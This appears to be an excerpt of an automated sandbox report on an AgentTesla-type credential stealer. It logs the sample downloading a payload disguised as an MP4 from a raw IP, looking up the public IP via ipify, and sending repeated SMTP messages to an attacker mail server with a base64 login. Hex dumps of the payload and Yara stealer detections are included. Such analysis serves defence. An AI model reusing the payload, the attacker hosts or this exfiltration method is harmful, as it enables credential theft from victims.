Jul 5, 2024 07:48:38.545255899 CEST	1236	IN	Data Raw: 6c 34 c6 7b 08 ef 6d 2e fa f6 93 62 37 c9 d0 c5 a9 c6 b3 a6 ec 8b e9 d1 42 1c 8f 2e 4e 75 c2 f5 49 dc 49 82 29 49 5f 1b f0 f9 1b 46 1c ca 53 83 f7 b1 e3 1d b1 a6 9e 21 b6 9a bc 17 a3 9d 2b a3 38 c3 4e 94 46 3a ee 19 b0 91 dc 3b ea d8 62 23 56 e7 Data Ascii: l4{m.b7B.NuII)I_FS!+8NF:;b#VI'=\aRzDU/]<$TRX5.MJ5^2LSUd9E6P;[2KJ}KAd37#ly.i/z"zJ)r6R}/[Ykqwhp4
Jul 5, 2024 07:48:38.545267105 CEST	1236	IN	Data Raw: de d9 fc ee a8 af ef 8b 0e 31 ac 8f 22 7e 12 e8 3d 39 55 dc f1 a4 9f c4 ce 51 ce c2 6d 9b bf 39 6e d0 f2 c5 8f a8 95 af 35 e1 27 fb 8e 33 92 4e 35 ff 0c d3 8f a9 b1 cd 88 d5 3a 77 a8 81 be d0 b7 75 f3 40 6c 98 7c d5 71 9a db 32 69 f7 c2 04 e6 57 Data Ascii: 1"~=9UQm9n5'3N5:wu@l\|q2iWl0#\|1ZbvWtJkVf&LUc&Y+Ko_}^#P@xOZ]7>0[\=5<?0d`!O<u
Jul 5, 2024 07:48:38.545398951 CEST	1236	IN	Data Raw: e5 36 71 51 2b 9d 05 78 04 01 6b 61 62 43 65 a0 af 7f 53 7b c9 d1 02 9d 47 a0 7a 08 94 81 40 0a 4d f4 a1 90 9a a2 82 3f 8f 05 f9 09 42 22 bf f0 fe 8e 7c 9d ae da 8c 8d b9 e7 13 33 ae f9 23 c2 04 8b 65 7b 19 e1 a6 ad e8 d3 8f 54 6a 36 47 5c 83 2e Data Ascii: 6qQ+xkabCeS{Gz@M?B"\|3#e{Tj6G\.`]@"]GidF,(HtJ<<<iYHcS`~eOAonMgIfw 0*61z1d&WjD+Z]%n^a>8pW%I"9T?Y-
Jul 5, 2024 07:48:38.545408964 CEST	1236	IN	Data Raw: cb 0c 36 6b a1 35 4f 76 81 ec 52 71 74 99 a8 ed bc 3a a7 6e 2f b3 b9 66 b2 d8 23 bc 0d ca c4 45 95 e6 ad ea df 6d 26 b6 a6 8a fc ca 7b 9d 32 12 de 0c 69 7e 8f 4b 79 02 d4 bd 2c a8 ea 22 d1 7b 3f 2a 55 4b f7 4f 36 3f 55 ca 36 4b e2 21 ab d9 c5 a9 Data Ascii: 6k5OvRqt:n/f#Em&{2i~Ky,"{?UKO6?U6K!Rqq3G2a=eT-zlx/s$1R_l"NJ3[nGZtPXLQ.-9L]G$y *a`o+?twRV{}n1%S!g3a$#S
Jul 5, 2024 07:48:38.545418978 CEST	896	IN	Data Raw: 13 da 1e ea 41 83 7a 5c 76 cb ce 79 23 8d 0e 50 45 07 69 d9 67 65 63 96 9f 4b 75 a3 87 77 7f 29 ed 48 46 fd 47 2f af 9b fb ad b8 51 f6 1f 26 b2 7c 82 af b4 1a 48 de b4 fa a7 40 6c 34 2a 18 a7 81 fe 87 ed a3 43 cf c7 cc cf 3d b3 3a b3 b8 3c e7 b4 Data Ascii: Az\vy#PEigecKuw)HFG/Q&\|H@l4*C=:< l\|1u)YvLTy}Z4k&\%O3Qura1gn#2a#{(1vs,=>8vF9hby\<^M}N
Jul 5, 2024 07:48:38.550084114 CEST	1236	IN	Data Raw: e2 b7 d5 c5 0e c9 a9 e7 d4 8a 79 b4 6e 4e a5 c0 a1 5d f3 50 a5 a1 d6 6b 95 6f 6c ae 08 fb 3c b6 dd cf 11 5b a7 6a f6 fb 4f 41 3e d9 7c ad 21 d7 61 1a 6f 4a 67 f2 fd 61 e3 ef 0d b8 0e 53 f9 ef e6 7a 64 23 be da 82 7b f5 1c 57 a0 c7 1f 2f cc e7 47 Data Ascii: ynN]Pkol<[jOA>\|!aoJgaSzd#{W/Gs&f4J-O+\S&d590kK=VVz7X[y:,\@y4?S^h~\|9\|8'90#i.sZxMx#dCAek#kfa0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	63881	45.90.58.251	80	3336	C:\Users\user\AppData\Roaming\Hdoyoyt.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 07:48:45.920495987 CEST	75	OUT	GET /01a/Pewvr.mp4 HTTP/1.1 Host: 45.90.58.251 Connection: Keep-Alive
Jul 5, 2024 07:48:46.591306925 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 05:48:46 GMT Server: Apache/2.4.37 (AlmaLinux) Last-Modified: Thu, 04 Jul 2024 08:02:54 GMT ETag: "193a55-61c675fc1a780" Accept-Ranges: bytes Content-Length: 1653333 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: video/mp4 Data Raw: 00 88 22 00 1f 8b 08 00 00 00 00 00 04 00 ec 7d 07 7c 14 c5 f7 f8 de a5 5f 1a 97 0b 97 10 92 dc 50 12 62 e8 48 b9 84 de ab 74 21 a1 87 12 04 81 20 a1 a9 10 a2 a8 a0 52 14 41 11 04 04 01 b1 00 a2 62 45 b0 21 a8 88 14 fd 5a b0 a0 88 48 53 40 41 5a 92 ff 7b b3 7d 77 76 f7 ee 12 fc fa fd 7f 7e 81 bd dd 9d 9d f7 a6 bd 79 f3 e6 cd 9b 37 b7 0c 7a 84 0b e2 38 2e 18 ae b2 32 8e 7b 83 e3 ff da 70 d6 7f c5 70 c5 78 de 8a e1 5e 8d f8 ac da 1b b6 1e 9f 55 eb 7f db b8 42 32 79 4a c1 d8 29 79 13 c9 a8 bc 49 93 0a a6 92 91 63 c8 94 69 93 c8 b8 49 a4 43 af 7e 64 62 c1 e8 31 f5 a2 a3 1d 35 05 1c bd 3b 72 5c 0f 5b 10 17 be 72 fd 2f 22 de a3 5c 4c b5 48 5b 03 48 a0 3a c7 85 f2 61 3f ac 86 67 02 0f 4f 57 e7 73 87 cf 76 3e df 1c 27 df b9 a3 d5 69 38 fe 05 71 6d ee e7 b8 4a f4 bf 7c e7 b8 58 45 19 1e 01 bc dd 39 1e 6f e3 20 46 21 df ad ce 45 f9 50 17 ba 3f c8 5f b8 e2 35 1c de bb 28 de eb 4d 1d 33 73 2a dc 7f 29 12 ca 55 2c e7 5b 81 62 44 bd 29 85 53 46 c1 33 cd 1b 96 1d 0b 7a 6f 75 55 bc 36 90 cb 7a 53 c6 4c 28 80 88 51 [TRUNCATED] Data Ascii: "}\|_PbHt! RAbE!ZHS@AZ{}wv~y7z8.2{ppx^UB2yJ)yIciIC~db15;r\[r/"\LH[H:a?gOWsv>'i8qmJ\|XE9o F!EP?_5(M3s*)U,[bD)SF3zouU6zSL(QB)tij>pm6qnup6{h%> [wwf%r1p?B:bY3'\^%X\3'{_YYY:vIqO&0N:\sizG\|ds)}sp\.1;qk_/!LS8bN/qqBAe: [%;30xwk42&O54>fs4Qp2qql$:bjO<3?gZvtD]<.]t+@@>gp@'GAE\OBrVp"C' )!\|<tQd/?yEx3x[3XbUUUP3AnBLC~#Diz7I!264sCL;ynzg`h0<;RX#4s#1\|.\{go
Jul 5, 2024 07:48:46.591337919 CEST	1236	IN	Data Raw: 46 2d 15 d0 0d d6 24 1a da b4 71 b5 31 a4 e7 b6 36 c5 42 84 de 9a f4 42 30 bd 5a 98 5e 15 44 7d aa 04 50 57 3f bb a4 1a a9 6b 9b 35 53 80 b9 55 83 34 eb bb 21 6f 52 0e 36 92 34 cd 5f fe 93 10 ab 81 06 73 28 62 6e 8e 98 ab 22 e6 47 10 f3 82 87 de Data Ascii: F-$q16BB0Z^D}PW?k5SU4!oR64_s(bn"G\ItS.Y5\|r%a@MNUIfdul #Lud}s8bnc#H].IHB[nb5`@7!f 6O<'gIur
Jul 5, 2024 07:48:46.591351986 CEST	1236	IN	Data Raw: 85 dd 88 30 ad 7e a2 ed 2c fe e1 4b e0 48 cf c0 7d a6 5d 9e ff 63 df 6e 04 23 4e 2f b8 df 03 f7 05 02 10 86 5f 82 9f 7b e0 9a 01 5c 68 86 22 fc 65 18 2b 1b 02 ae 63 11 72 7c fc 83 69 21 b7 1f ba 5b 59 a4 91 7e c1 6f fd 81 91 ae c4 28 dc ea bb 2a Data Ascii: 0~,KH}]cn#N/_{\h"e+cr\|i![Y~o(:"-/`\|U^bx:t4#}0G~m#"Oou\|Cm_@pZ!\~- >Fg]K`M6WXO0]
Jul 5, 2024 07:48:46.591367960 CEST	672	IN	Data Raw: 93 13 09 d9 a9 4a eb 44 45 76 a8 35 ce 64 09 21 bf 48 dc a3 e5 d8 2d 42 fc 71 32 2e de f2 e3 6c 59 bd a6 ca c5 7f 05 2e 6a 46 50 13 70 65 6c c4 f8 d4 12 a3 b2 84 5a 61 46 75 60 9e ab 9d d2 92 81 c7 bf a1 fd fe e5 63 48 83 57 8b 83 54 e5 90 1b 41 Data Ascii: JDEv5d!H-Bq2.lY.jFPpelZaFu`cHWTA:zkIlJF\|+JMK4{OKS2W1 mQ)y:}8TiiA$mDi">B?sd\|uA5W(Qe/YNyZXi
Jul 5, 2024 07:48:46.591382027 CEST	1236	IN	Data Raw: c7 5a f5 bc 9e a5 2f 60 ef 9b d2 8d 63 aa fe f3 4f ad 69 1b af ef 87 99 d6 a9 55 db fb d9 af 7c 5d 7b b2 d2 d9 96 eb 8e 6d b7 53 bf a6 a8 ba 07 41 bb 29 d6 96 a8 39 9a d1 da 60 7f 83 f5 05 2b fb 05 73 f9 c1 2f 3b 11 55 59 18 6d 6d 28 d3 f9 40 27 Data Ascii: Z/`cOiU\|]{mSA)9`+s/;UYmm(@'>2<*l2Z}X-l8e6`ZS8\|2p=HGc8?xZ`FVu[BL_7Tz;_0';0E9iUZ~
Jul 5, 2024 07:48:46.591394901 CEST	1236	IN	Data Raw: 89 42 cc e1 ba 98 95 f8 7a 8b 6b b1 ac c4 68 b4 f1 38 79 9b 9f f3 a3 72 be 31 aa 7e 4f 9c 60 7f e6 d8 38 eb 4d 21 d2 cd ba 48 2e f2 eb 6f 5f 3d 9d 4f 2e f5 3e 3d 86 ed 82 08 22 c5 f3 54 71 a4 d9 c7 27 8c e8 d4 53 99 b7 a0 9a 36 6d d9 8f 86 b9 76 Data Ascii: Bzkh8yr1~O`8M!H.o_=O.>="Tq'S6mv+kv/DI<$h>9s HV]8nTw?{0h$A?&YCVEM&wl<~4i)B\|3t]RIUn4bz~nl4{m.b7
Jul 5, 2024 07:48:46.591408968 CEST	1236	IN	Data Raw: 90 e3 25 9e f9 a4 c7 95 07 52 72 c8 f1 83 37 ff 66 38 ea 4e e4 c9 72 ec 4f 63 97 0b 71 da e8 e2 4c e2 07 2d 4f 63 23 a7 e1 10 a7 80 6c 9d 37 31 91 7c 69 7b 42 14 f0 f5 62 f2 64 b2 f0 8d de cf 92 fd b9 e9 a2 db d7 6a ba 38 77 28 87 e4 47 43 ba ff Data Ascii: %Rr7f8NrOcqL-Oc#l71\|i{Bbdj8w(GCf_>,[lXJg\?pZ3\|8<%}94~ntL)}$v>&]B~H3\tqS6$qk-)n:aR*q]-zR1"~=9U
Jul 5, 2024 07:48:46.591423988 CEST	672	IN	Data Raw: c1 8b cc 86 98 e3 22 bd c8 ba bc ec 73 a5 52 ab 1f d7 9c bb f6 e2 ea d7 ff 34 63 f8 1f 49 1c fa 05 84 5c 9b 1e b3 88 2c 3b 37 f1 09 b3 c6 fb 4c 4d 2f a8 00 cc 9a 28 8f 39 23 4b d5 07 61 cd f9 32 b7 81 59 8f fe d6 26 9c fd c1 c7 e9 81 25 4a a5 e8 Data Ascii: "sR4cI\,;7LM/(9#Ka2Y&%J(vI:q53M8]cx:P7M?8lHI$^dO,NN8R_d-YKNI"Rh%*"6XB!PnTrIq=n<<6qQ+xkabCeS
Jul 5, 2024 07:48:46.591512918 CEST	1236	IN	Data Raw: fb 17 9b 35 c9 19 9b ea 60 a9 51 48 93 13 fe 96 c6 e0 bc bf d5 c7 88 d6 2c 4e eb 6f 86 ee b4 24 6a d6 92 ce 82 6b ba fa 82 b8 9a ca 9c 1a ff 85 30 19 08 f3 e7 25 f1 80 cb 77 c6 0f 79 d8 ac c0 5f 4b d3 69 7a 36 9c c2 04 21 f8 ee b5 4b cc 84 e1 2f Data Ascii: 5`QH,No$jk0%wy_Kiz6!K/Um/ayl_l9%ec015$M0/ns!><OMa1#*ARXf]/#$h]O~@<<.{EIR'!r1sHmrQe9]!zuku5cO8(fjTe&@
Jul 5, 2024 07:48:46.591594934 CEST	1236	IN	Data Raw: cf 40 3f fc 3a fd 4f 87 fb e8 cb 95 79 8e 99 55 bb 97 37 6f fe fb b9 d2 d3 94 56 f6 f2 33 2d 2b 9b 70 2b 1d b4 e9 7e 80 00 f9 82 21 ae e3 86 be 3d b5 76 c2 81 f7 69 df fb b0 5f 7d d4 af be aa cd 43 60 fb 22 ca 3d b7 35 b0 33 d7 ea ee ff 67 68 da Data Ascii: @?:OyU7oV3-+p+~!=vi_}C`"=53ghu8LL?}YOY}2wOX17@!_nOY>W__i*9 #HjM@+6OZSVtEqO/#\?pp$[#^^
Jul 5, 2024 07:48:46.596232891 CEST	1236	IN	Data Raw: f5 87 48 eb e7 0d 74 49 e5 b1 d3 b8 f1 63 ab 2f 7b 3a eb 70 6d 27 f2 34 60 22 43 24 b0 f3 eb 5f fa d6 f2 9b b6 4f 98 d1 b4 db ef 35 01 6c c7 ee 36 e9 cc b8 80 d6 b3 b5 b2 b9 fa bb 3b 80 31 89 6d a3 6d 65 0f 54 4e fb 20 03 3b ea 1b 63 7f 87 f5 de Data Ascii: HtIc/{:pm'4`"C$_O5l6;1mmeTN ;cEO[Q[-#/VpL;dPlGnOy/6?M}'ubZ>#WAj?v1+/\wu&Cy?F\|]`9]+kp&s0k

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	63878	104.26.12.205	443	6020	C:\Users\user\Desktop\Doc6078451035.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-05 05:48:26 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-07-05 05:48:26 UTC	211	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 05:48:26 GMT Content-Type: text/plain Content-Length: 11 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 89e510e81bef440e-EWR
2024-07-05 05:48:26 UTC	11	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	63883	172.67.74.152	443	6904	C:\Users\user\AppData\Roaming\Hdoyoyt.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-05 05:49:14 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-07-05 05:49:14 UTC	211	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 05:49:14 GMT Content-Type: text/plain Content-Length: 11 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 89e512151c1f427f-EWR
2024-07-05 05:49:14 UTC	11	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	63885	172.67.74.152	443	2344	C:\Users\user\AppData\Roaming\Hdoyoyt.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-05 05:49:21 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-07-05 05:49:21 UTC	211	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 05:49:21 GMT Content-Type: text/plain Content-Length: 11 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 89e512419be31871-EWR
2024-07-05 05:49:21 UTC	11	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jul 5, 2024 07:48:27.489628077 CEST	587	63879	162.254.34.31	192.168.2.4	220 server1.educt.shop127.0.0.1 ESMTP Postfix
Jul 5, 2024 07:48:27.494973898 CEST	63879	587	192.168.2.4	162.254.34.31	EHLO 888683
Jul 5, 2024 07:48:27.664172888 CEST	587	63879	162.254.34.31	192.168.2.4	250-server1.educt.shop127.0.0.1 250-PIPELINING 250-SIZE 204800000 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 5, 2024 07:48:27.665138006 CEST	63879	587	192.168.2.4	162.254.34.31	AUTH login c2VuZHhhbWJyb0BlZHVjdC5zaG9w
Jul 5, 2024 07:48:27.832032919 CEST	587	63879	162.254.34.31	192.168.2.4	334 UGFzc3dvcmQ6
Jul 5, 2024 07:48:28.023988008 CEST	587	63879	162.254.34.31	192.168.2.4	235 2.7.0 Authentication successful
Jul 5, 2024 07:48:28.024936914 CEST	63879	587	192.168.2.4	162.254.34.31	MAIL FROM:<sendxambro@educt.shop>
Jul 5, 2024 07:48:28.194856882 CEST	587	63879	162.254.34.31	192.168.2.4	250 2.1.0 Ok
Jul 5, 2024 07:48:28.195059061 CEST	63879	587	192.168.2.4	162.254.34.31	RCPT TO:<ambro@educt.shop>
Jul 5, 2024 07:48:28.365201950 CEST	587	63879	162.254.34.31	192.168.2.4	250 2.1.5 Ok
Jul 5, 2024 07:48:28.365376949 CEST	63879	587	192.168.2.4	162.254.34.31	DATA
Jul 5, 2024 07:48:28.547306061 CEST	587	63879	162.254.34.31	192.168.2.4	354 End data with <CR><LF>.<CR><LF>
Jul 5, 2024 07:48:28.548177004 CEST	63879	587	192.168.2.4	162.254.34.31	.
Jul 5, 2024 07:48:28.822659969 CEST	587	63879	162.254.34.31	192.168.2.4	250 2.0.0 Ok: queued as 43C25600F5
Jul 5, 2024 07:49:15.911709070 CEST	587	63884	162.254.34.31	192.168.2.4	220 server1.educt.shop127.0.0.1 ESMTP Postfix
Jul 5, 2024 07:49:15.911950111 CEST	63884	587	192.168.2.4	162.254.34.31	EHLO 888683
Jul 5, 2024 07:49:16.077312946 CEST	587	63884	162.254.34.31	192.168.2.4	250-server1.educt.shop127.0.0.1 250-PIPELINING 250-SIZE 204800000 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 5, 2024 07:49:16.077729940 CEST	63884	587	192.168.2.4	162.254.34.31	AUTH login c2VuZHhhbWJyb0BlZHVjdC5zaG9w
Jul 5, 2024 07:49:16.241287947 CEST	587	63884	162.254.34.31	192.168.2.4	334 UGFzc3dvcmQ6
Jul 5, 2024 07:49:16.410701990 CEST	587	63884	162.254.34.31	192.168.2.4	235 2.7.0 Authentication successful
Jul 5, 2024 07:49:16.411000013 CEST	63884	587	192.168.2.4	162.254.34.31	MAIL FROM:<sendxambro@educt.shop>
Jul 5, 2024 07:49:16.580338001 CEST	587	63884	162.254.34.31	192.168.2.4	250 2.1.0 Ok
Jul 5, 2024 07:49:16.580624104 CEST	63884	587	192.168.2.4	162.254.34.31	RCPT TO:<ambro@educt.shop>
Jul 5, 2024 07:49:16.748233080 CEST	587	63884	162.254.34.31	192.168.2.4	250 2.1.5 Ok
Jul 5, 2024 07:49:16.748532057 CEST	63884	587	192.168.2.4	162.254.34.31	DATA
Jul 5, 2024 07:49:16.912118912 CEST	587	63884	162.254.34.31	192.168.2.4	354 End data with <CR><LF>.<CR><LF>
Jul 5, 2024 07:49:16.913011074 CEST	63884	587	192.168.2.4	162.254.34.31	.
Jul 5, 2024 07:49:17.189083099 CEST	587	63884	162.254.34.31	192.168.2.4	250 2.0.0 Ok: queued as A2F10600F5
Jul 5, 2024 07:49:22.947231054 CEST	587	63886	162.254.34.31	192.168.2.4	220 server1.educt.shop127.0.0.1 ESMTP Postfix
Jul 5, 2024 07:49:22.947408915 CEST	63886	587	192.168.2.4	162.254.34.31	EHLO 888683
Jul 5, 2024 07:49:23.109576941 CEST	587	63886	162.254.34.31	192.168.2.4	250-server1.educt.shop127.0.0.1 250-PIPELINING 250-SIZE 204800000 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 5, 2024 07:49:23.109780073 CEST	63886	587	192.168.2.4	162.254.34.31	AUTH login c2VuZHhhbWJyb0BlZHVjdC5zaG9w
Jul 5, 2024 07:49:23.273040056 CEST	587	63886	162.254.34.31	192.168.2.4	334 UGFzc3dvcmQ6
Jul 5, 2024 07:49:23.447271109 CEST	587	63886	162.254.34.31	192.168.2.4	235 2.7.0 Authentication successful
Jul 5, 2024 07:49:23.448868036 CEST	63886	587	192.168.2.4	162.254.34.31	MAIL FROM:<sendxambro@educt.shop>
Jul 5, 2024 07:49:23.621675014 CEST	587	63886	162.254.34.31	192.168.2.4	250 2.1.0 Ok
Jul 5, 2024 07:49:23.624799967 CEST	63886	587	192.168.2.4	162.254.34.31	RCPT TO:<ambro@educt.shop>
Jul 5, 2024 07:49:23.796953917 CEST	587	63886	162.254.34.31	192.168.2.4	250 2.1.5 Ok
Jul 5, 2024 07:49:23.797218084 CEST	63886	587	192.168.2.4	162.254.34.31	DATA
Jul 5, 2024 07:49:23.960186958 CEST	587	63886	162.254.34.31	192.168.2.4	354 End data with <CR><LF>.<CR><LF>
Jul 5, 2024 07:49:23.960835934 CEST	63886	587	192.168.2.4	162.254.34.31	.
Jul 5, 2024 07:49:24.243608952 CEST	587	63886	162.254.34.31	192.168.2.4	250 2.0.0 Ok: queued as ADD4A6019B

Target ID:	0
Start time:	01:47:51
Start date:	05/07/2024
Path:	C:\Users\user\Desktop\Doc6078451035.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Doc6078451035.exe"
Imagebase:	0x60000
File size:	254'176 bytes
MD5 hash:	D95051443F4688AAF77B021012CA74F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1965317713.000000000255E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1965317713.000000000255E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1976677869.0000000006240000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1966878784.0000000003AC9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1966878784.0000000004135000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1966878784.0000000004135000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1965317713.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1973327299.0000000005CC0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1965317713.00000000023CE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1966878784.0000000003341000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:48:24
Start date:	05/07/2024
Path:	C:\Users\user\Desktop\Doc6078451035.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Doc6078451035.exe"
Imagebase:	0xe80000
File size:	254'176 bytes
MD5 hash:	D95051443F4688AAF77B021012CA74F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2871964064.000000000323B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2871964064.0000000003211000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2871964064.0000000003211000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2871964064.000000000324A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	01:48:36
Start date:	05/07/2024
Path:	C:\Users\user\AppData\Roaming\Hdoyoyt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Hdoyoyt.exe"
Imagebase:	0xe70000
File size:	254'176 bytes
MD5 hash:	D95051443F4688AAF77B021012CA74F4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.2447296068.0000000003557000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.2451731100.0000000004D27000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.2451731100.0000000004CAF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.2451731100.0000000004DC7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.2451731100.0000000004CD7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.2447296068.000000000332E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2447296068.000000000332E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.2447296068.000000000332E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2451731100.0000000005057000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.2451731100.0000000005057000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs Detection: 48%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:48:45
Start date:	05/07/2024
Path:	C:\Users\user\AppData\Roaming\Hdoyoyt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Hdoyoyt.exe"
Imagebase:	0xf30000
File size:	254'176 bytes
MD5 hash:	D95051443F4688AAF77B021012CA74F4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.2518748414.0000000003518000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.2518748414.0000000003518000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000007.00000002.2524754237.0000000004D37000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000007.00000002.2518748414.000000000346F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 